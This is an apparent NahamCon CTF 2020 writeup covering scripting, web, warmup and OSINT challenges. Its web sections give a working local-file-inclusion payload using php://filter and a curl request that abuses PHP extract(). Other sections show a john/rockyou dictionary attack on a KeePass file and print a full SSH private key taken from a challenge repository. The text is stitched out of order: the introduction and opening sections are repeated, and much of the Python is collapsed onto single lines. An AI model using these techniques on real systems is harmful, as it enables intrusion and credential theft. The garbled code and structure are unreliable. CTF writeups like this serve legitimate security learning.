In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
